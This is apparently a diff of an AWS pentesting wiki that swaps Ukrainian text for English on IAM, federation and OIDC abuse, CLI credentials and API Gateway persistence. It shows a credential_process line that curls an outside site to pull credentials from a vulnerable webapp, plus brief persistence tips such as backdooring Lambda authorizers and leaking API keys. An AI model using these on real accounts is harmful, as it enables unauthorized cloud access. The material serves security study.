A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
|
||||
|
||||
### Політики сесії
|
||||
**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
|
||||
|
||||
Політика сесії - це **політика, встановлена, коли роль приймається** якимось чином. Це буде як **межа IAM для цієї сесії**: Це означає, що політика сесії не надає дозволів, але **обмежує їх до тих, що вказані в політиці** (максимальні дозволи - це ті, які має роль).
|
||||
### Session Policies
|
||||
|
||||
A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
|
||||
|
||||
This is useful for **security measures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
|
||||
|
||||
Це корисно для **заходів безпеки**: Коли адміністратор збирається прийняти дуже привілейовану роль, він може обмежити дозволи лише до тих, що вказані в політиці сесії, у разі, якщо сесія буде скомпрометована.
|
||||
```bash
|
||||
aws sts assume-role \
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
--role-arn <value> \
|
||||
--role-session-name <value> \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
```
|
||||
Зверніть увагу, що за замовчуванням **AWS може додавати політики сесії до сесій**, які будуть згенеровані з інших причин. Наприклад, у [неавтентифікованих ролях, що припускають Cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) за замовчуванням (використовуючи розширену автентифікацію), AWS згенерує **облікові дані сесії з політикою сесії**, яка обмежує сервіси, до яких може отримати доступ ця сесія [**до наступного списку**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
Отже, якщо в якийсь момент ви зіткнетеся з помилкою "... тому що жодна політика сесії не дозволяє ...", і роль має доступ для виконання дії, це тому, що **існує політика сесії, яка цьому заважає**.
|
||||
Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
### Федерація ідентичності
|
||||
Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
|
||||
|
||||
Федерація ідентичності **дозволяє користувачам з постачальників ідентичності, які є зовнішніми** для AWS, безпечно отримувати доступ до ресурсів AWS без необхідності надавати облікові дані користувача AWS з дійсного облікового запису IAM.\
|
||||
Прикладом постачальника ідентичності може бути ваш власний корпоративний **Microsoft Active Directory** (через **SAML**) або **OpenID** сервіси (як **Google**). Федеративний доступ дозволить користувачам всередині нього отримувати доступ до AWS.
|
||||
### Identity Federation
|
||||
|
||||
Щоб налаштувати цю довіру, **генерується постачальник ідентичності IAM (SAML або OAuth)**, який буде **довіряти** **іншій платформі**. Потім принаймні одна **роль IAM призначається (довіряюча) постачальнику ідентичності**. Якщо користувач з довіреної платформи отримує доступ до AWS, він буде отримувати доступ як зазначена роль.
|
||||
Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
|
||||
An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
|
||||
|
||||
Однак зазвичай ви захочете надати **іншу роль залежно від групи користувача** на сторонній платформі. Тоді кілька **ролей IAM можуть довіряти** сторонньому постачальнику ідентичності, а стороння платформа буде тією, що дозволяє користувачам припускати одну роль або іншу.
|
||||
To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
|
||||
|
||||
However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
|
||||
|
||||
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### IAM Центр ідентичності
|
||||
### IAM Identity Center
|
||||
|
||||
AWS IAM Центр ідентичності (наступник AWS Single Sign-On) розширює можливості AWS Identity and Access Management (IAM), щоб забезпечити **централізоване місце**, яке об'єднує **адміністрування користувачів та їх доступ до облікових записів AWS** та хмарних додатків.
|
||||
AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
|
||||
|
||||
Домен для входу буде чимось на зразок `<user_input>.awsapps.com`.
|
||||
The login domain is going to be something like `<user_input>.awsapps.com`.
|
||||
|
||||
Для входу користувачів можна використовувати 3 джерела ідентичності:
|
||||
To login users, there are 3 identity sources that can be used:
|
||||
|
||||
- Довідник Центру ідентичності: Звичайні користувачі AWS
|
||||
- Active Directory: Підтримує різні конектори
|
||||
- Зовнішній постачальник ідентичності: Всі користувачі та групи походять від зовнішнього постачальника ідентичності (IdP)
|
||||
- Identity Center Directory: Regular AWS users
|
||||
- Active Directory: Supports different connectors
|
||||
- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
У найпростішому випадку довідника Центру ідентичності, **Центр ідентичності матиме список користувачів і груп** і зможе **призначати політики** їм для **будь-якого з облікових записів** організації.
|
||||
In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
|
||||
|
||||
Щоб надати доступ користувачу/групі Центру ідентичності до облікового запису, **буде створено постачальника ідентичності SAML, який довіряє Центру ідентичності**, і **роль, що довіряє постачальнику ідентичності з вказаними політиками, буде створено** в цільовому обліковому записі.
|
||||
In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
|
||||
|
||||
#### AwsSSOInlinePolicy
|
||||
|
||||
Можливо **надавати дозволи через вбудовані політики для ролей, створених через IAM Центр ідентичності**. Ролі, створені в облікових записах, яким надаються **вбудовані політики в AWS Центрі ідентичності**, матимуть ці дозволи у вбудованій політиці під назвою **`AwsSSOInlinePolicy`**.
|
||||
It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
|
||||
|
||||
Отже, навіть якщо ви бачите 2 ролі з вбудованою політикою під назвою **`AwsSSOInlinePolicy`**, це **не означає, що вони мають однакові дозволи**.
|
||||
Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
|
||||
|
||||
### Довіра та ролі між обліковими записами
|
||||
### Cross Account Trusts and Roles
|
||||
|
||||
**Користувач** (довіряючий) може створити роль між обліковими записами з деякими політиками, а потім **дозволити іншому користувачу** (довіреному) **отримати доступ до свого облікового запису**, але лише **маючи доступ, вказаний у нових політиках ролі**. Щоб створити це, просто створіть нову роль і виберіть Роль між обліковими записами. Ролі для доступу між обліковими записами пропонують два варіанти. Надання доступу між обліковими записами AWS, які ви володієте, і надання доступу між обліковим записом, яким ви володієте, та стороннім обліковим записом AWS.\
|
||||
Рекомендується **вказати користувача, який є довіреним, а не ставити щось загальне**, оскільки в іншому випадку інші автентифіковані користувачі, такі як федеративні користувачі, також зможуть зловживати цією довірою.
|
||||
**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
|
||||
It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
|
||||
|
||||
### AWS Simple AD
|
||||
|
||||
Не підтримується:
|
||||
Not supported:
|
||||
|
||||
- Взаємовідносини довіри
|
||||
- Центр адміністрування AD
|
||||
- Повна підтримка PS API
|
||||
- Кошик для переробки AD
|
||||
- Групові керовані облікові записи служб
|
||||
- Розширення схеми
|
||||
- Немає прямого доступу до ОС або екземплярів
|
||||
- Trust Relations
|
||||
- AD Admin Center
|
||||
- Full PS API support
|
||||
- AD Recycle Bin
|
||||
- Group Managed Service Accounts
|
||||
- Schema Extensions
|
||||
- No Direct access to OS or Instances
|
||||
|
||||
#### Веб-федерація або автентифікація OpenID
|
||||
#### Web Federation or OpenID Authentication
|
||||
|
||||
Додаток використовує AssumeRoleWithWebIdentity для створення тимчасових облікових даних. Однак це не надає доступ до консолі AWS, лише доступ до ресурсів у AWS.
|
||||
The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
|
||||
|
||||
### Інші варіанти IAM
|
||||
### Other IAM options
|
||||
|
||||
- Ви можете **встановити налаштування політики паролів**, такі як мінімальна довжина та вимоги до паролів.
|
||||
- Ви можете **завантажити "Звіт про облікові дані"** з інформацією про поточні облікові дані (такі як час створення користувача, чи увімкнено пароль...). Ви можете генерувати звіт про облікові дані так часто, як раз на **чотири години**.
|
||||
- You can **set a password policy setting** options like minimum length and password requirements.
|
||||
- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
|
||||
|
||||
AWS Identity and Access Management (IAM) забезпечує **точний контроль доступу** по всьому AWS. З IAM ви можете вказати, **хто може отримати доступ до яких сервісів і ресурсів**, і за яких умов. За допомогою політик IAM ви керуєте дозволами для вашої робочої сили та систем, щоб **забезпечити найменші привілеї**.
|
||||
AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
|
||||
|
||||
### Префікси ID IAM
|
||||
### IAM ID Prefixes
|
||||
|
||||
На [**цій сторінці**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) ви можете знайти **префікси ID IAM** ключів залежно від їх природи:
|
||||
In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
|
||||
|
||||
| Код ідентифікатора | Опис |
|
||||
| Identifier Code | Description |
|
||||
| --------------- | ----------------------------------------------------------------------------------------------------------- |
|
||||
| ABIA | [Токен носія служби AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
|
||||
| ACCA | Контекстно-специфічні облікові дані |
|
||||
| AGPA | Група користувачів |
|
||||
| AIDA | Користувач IAM |
|
||||
| AIPA | Профіль екземпляра Amazon EC2 |
|
||||
| AKIA | Ключ доступу |
|
||||
| ANPA | Керована політика |
|
||||
| ANVA | Версія в керованій політиці |
|
||||
| APKA | Публічний ключ |
|
||||
| AROA | Роль |
|
||||
| ASCA | Сертифікат |
|
||||
| ASIA | [Тимчасові (AWS STS) ідентифікатори ключів доступу](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) використовують цей префікс, але є унікальними лише в комбінації з секретним ключем доступу та токеном сесії. |
|
||||
| ACCA | Context-specific credential |
|
||||
| AGPA | User group |
|
||||
| AIDA | IAM user |
|
||||
| AIPA | Amazon EC2 instance profile |
|
||||
| AKIA | Access key |
|
||||
| ANPA | Managed policy |
|
||||
| ANVA | Version in a managed policy |
|
||||
| APKA | Public key |
|
||||
| AROA | Role |
|
||||
| ASCA | Certificate |
|
||||
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
|
||||
|
||||
### Рекомендовані дозволи для аудиту облікових записів
|
||||
### Recommended permissions to audit accounts
|
||||
|
||||
Наступні привілеї надають різний доступ для читання метаданих:
|
||||
The following privileges grant various read access of metadata:
|
||||
|
||||
- `arn:aws:iam::aws:policy/SecurityAudit`
|
||||
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
|
||||
@@ -344,13 +356,14 @@ AWS Identity and Access Management (IAM) забезпечує **точний к
|
||||
- `directconnect:DescribeConnections`
|
||||
- `dynamodb:ListTables`
|
||||
|
||||
## Різне
|
||||
## Misc
|
||||
|
||||
### CLI автентифікація
|
||||
### CLI Authentication
|
||||
|
||||
In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
|
||||
In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
|
||||
Example of credentials file with more than 1 profile:
|
||||
|
||||
Щоб звичайний користувач міг автентифікуватися в AWS через CLI, вам потрібно мати **локальні облікові дані**. За замовчуванням ви можете налаштувати їх **вручну** в `~/.aws/credentials` або **запустивши** `aws configure`.\
|
||||
У цьому файлі ви можете мати більше ніж один профіль, якщо **жоден профіль** не вказано за допомогою **aws cli**, буде використовуватися той, що називається **`[default]`** у цьому файлі.\
|
||||
Приклад файлу облікових даних з більш ніж 1 профілем:
|
||||
```
|
||||
[default]
|
||||
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
|
||||
@@ -361,10 +374,12 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
|
||||
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
|
||||
region = eu-west-2
|
||||
```
|
||||
Якщо вам потрібно отримати доступ до **різних облікових записів AWS** і вашому профілю було надано доступ до **прийняття ролі в цих облікових записах**, вам не потрібно вручну викликати STS щоразу (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) і налаштовувати облікові дані.
|
||||
|
||||
Ви можете використовувати файл `~/.aws/config`, щоб [**вказати, які ролі приймати**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), а потім використовувати параметр `--profile` як зазвичай (прийняття ролі буде виконано прозоро для користувача).\
|
||||
Приклад конфігураційного файлу:
|
||||
If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
|
||||
|
||||
You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
|
||||
A config file example:
|
||||
|
||||
```
|
||||
[profile acc2]
|
||||
region=eu-west-2
|
||||
@@ -373,30 +388,36 @@ role_session_name = <session_name>
|
||||
source_profile = <profile_with_assume_role>
|
||||
sts_regional_endpoints = regional
|
||||
```
|
||||
З цим конфігураційним файлом ви можете використовувати aws cli, як:
|
||||
|
||||
With this config file you can then use aws cli like:
|
||||
|
||||
```
|
||||
aws --profile acc2 ...
|
||||
```
|
||||
Якщо ви шукаєте щось **схоже** на це, але для **браузера**, ви можете перевірити **розширення** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
|
||||
#### Автоматизація тимчасових облікових даних
|
||||
If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
|
||||
#### Automating temporary credentials
|
||||
|
||||
If you are exploiting an application which generates temporary credentials, it can be tedious updating them in your terminal every few minutes when they expire. This can be fixed using a `credential_process` directive in the config file. For example, if you have some vulnerable webapp, you could do:
|
||||
|
||||
Якщо ви експлуатуєте додаток, який генерує тимчасові облікові дані, може бути важко оновлювати їх у вашому терміналі кожні кілька хвилин, коли вони закінчуються. Це можна виправити, використовуючи директиву `credential_process` у файлі конфігурації. Наприклад, якщо у вас є вразливий веб-додаток, ви могли б зробити:
|
||||
```toml
|
||||
[victim]
|
||||
credential_process = curl -d 'PAYLOAD' https://some-site.com
|
||||
```
|
||||
Зверніть увагу, що облікові дані _повинні_ бути повернені в STDOUT у наступному форматі:
|
||||
|
||||
Note that credentials _must_ be returned to STDOUT in the following format:
|
||||
```json
|
||||
{
|
||||
"Version": 1,
|
||||
"AccessKeyId": "an AWS access key",
|
||||
"SecretAccessKey": "your AWS secret access key",
|
||||
"SessionToken": "the AWS session token for temporary credentials",
|
||||
"Expiration": "ISO8601 timestamp when the credentials expire"
|
||||
}
|
||||
"Version": 1,
|
||||
"AccessKeyId": "an AWS access key",
|
||||
"SecretAccessKey": "your AWS secret access key",
|
||||
"SessionToken": "the AWS session token for temporary credentials",
|
||||
"Expiration": "ISO8601 timestamp when the credentials expire"
|
||||
}
|
||||
```
|
||||
## Посилання
|
||||
|
||||
## References
|
||||
|
||||
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
|
||||
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
|
||||
|
||||
@@ -1,84 +1,87 @@
|
||||
# AWS - Зловживання федерацією
|
||||
# AWS - Federation Abuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SAML
|
||||
|
||||
Для отримання інформації про SAML, будь ласка, перегляньте:
|
||||
For info about SAML please check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
Щоб налаштувати **федерацію особи через SAML**, вам потрібно лише вказати **ім'я** та **метадані XML**, що містять усю конфігурацію SAML (**кінцеві точки**, **сертифікат** з відкритим ключем)
|
||||
In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
|
||||
|
||||
## OIDC - Зловживання GitHub Actions
|
||||
## OIDC - Github Actions Abuse
|
||||
|
||||
Щоб додати дію GitHub як постачальника ідентифікації:
|
||||
In order to add a github action as Identity provider:
|
||||
|
||||
1. For _Provider type_, select **OpenID Connect**.
|
||||
2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
|
||||
3. Click on _Get thumbprint_ to get the thumbprint of the provider
|
||||
4. For _Audience_, enter `sts.amazonaws.com`
|
||||
5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
|
||||
7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
|
||||
8. Finally use a github action to configure the AWS creds to be used by the workflow:
|
||||
|
||||
1. Для _Типу постачальника_ виберіть **OpenID Connect**.
|
||||
2. Для _URL постачальника_ введіть `https://token.actions.githubusercontent.com`
|
||||
3. Натисніть _Отримати відбиток_ для отримання відбитка постачальника
|
||||
4. Для _Аудиторії_ введіть `sts.amazonaws.com`
|
||||
5. Створіть **нову роль** з **дозволами**, які потрібні дії GitHub, та **політикою довіри**, яка довіряє постачальнику, як:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Зверніть увагу в попередній політиці, як лише **гілка** з **репозиторію** **організації** була авторизована з конкретним **тригером**.
|
||||
7. **ARN** **ролі**, яку дія GitHub зможе **використовувати**, буде "секретом", який дія GitHub повинна знати, тому **зберігайте** його в **секреті** всередині **середовища**.
|
||||
8. Нарешті, використовуйте дію GitHub для налаштування облікових даних AWS, які будуть використовуватися робочим процесом:
|
||||
```yaml
|
||||
name: "test AWS Access"
|
||||
|
||||
# The workflow should only trigger on pull requests to the main branch
|
||||
on:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
|
||||
# Required to get the ID Token that will be used for OIDC
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
|
||||
jobs:
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
```
|
||||
## OIDC - Зловживання EKS
|
||||
|
||||
## OIDC - EKS Abuse
|
||||
|
||||
```bash
|
||||
# Crate an EKS cluster (~10min)
|
||||
eksctl create cluster --name demo --fargate
|
||||
@@ -88,34 +91,43 @@ eksctl create cluster --name demo --fargate
|
||||
# Create an Identity Provider for an EKS cluster
|
||||
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
|
||||
```
|
||||
Можливо створити **OIDC providers** у кластері **EKS**, просто встановивши **OIDC URL** кластера як **нового постачальника ідентичності Open ID**. Це загальна стандартна політика:
|
||||
|
||||
It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Ця політика правильно вказує, що **тільки** **EKS кластер** з **id** `20C159CDF6F2349B68846BEC03BE031B` може приймати роль. Однак, вона не вказує, який обліковий запис служби може її приймати, що означає, що **будь-який обліковий запис служби з веб-ідентифікаційним токеном** зможе **приймати** роль.
|
||||
|
||||
Щоб вказати, **який обліковий запис служби повинен мати можливість приймати роль,** потрібно вказати **умову**, де **вказується ім'я облікового запису служби**, наприклад:
|
||||
This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
|
||||
|
||||
In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
|
||||
|
||||
```bash
|
||||
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
|
||||
```
|
||||
## Посилання
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,17 +1,21 @@
|
||||
# AWS - Дозволи для пентесту
|
||||
# AWS - Permissions for a Pentest
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Це дозволи, які вам потрібні на кожному обліковому записі AWS, який ви хочете перевірити, щоб мати можливість запускати всі запропоновані інструменти аудиту AWS:
|
||||
These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
|
||||
|
||||
- Політика за замовчуванням **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- Щоб запустити [aws_iam_review](https://github.com/carlospolop/aws_iam_review), вам також потрібні дозволи:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Додатково, якщо клієнт генерує аналізатори для вас, але зазвичай легше просто попросити цей дозвіл)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Додатково, якщо клієнт видаляє аналізатори для вас, але зазвичай легше просто попросити цей дозвіл)
|
||||
- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
# AWS - Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Modify the resource policy of the API gateway(s) to grant yourself access to them
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
|
||||
Or just remove the use of the authorizer.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
|
||||
Or just remove the use of the authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
If API keys are used, you could leak them to maintain persistence or even create new ones.\
|
||||
Or just remove the use of API keys.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,55 +0,0 @@
|
||||
# AWS - API Gateway Утримання доступу
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Для додаткової інформації див.:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
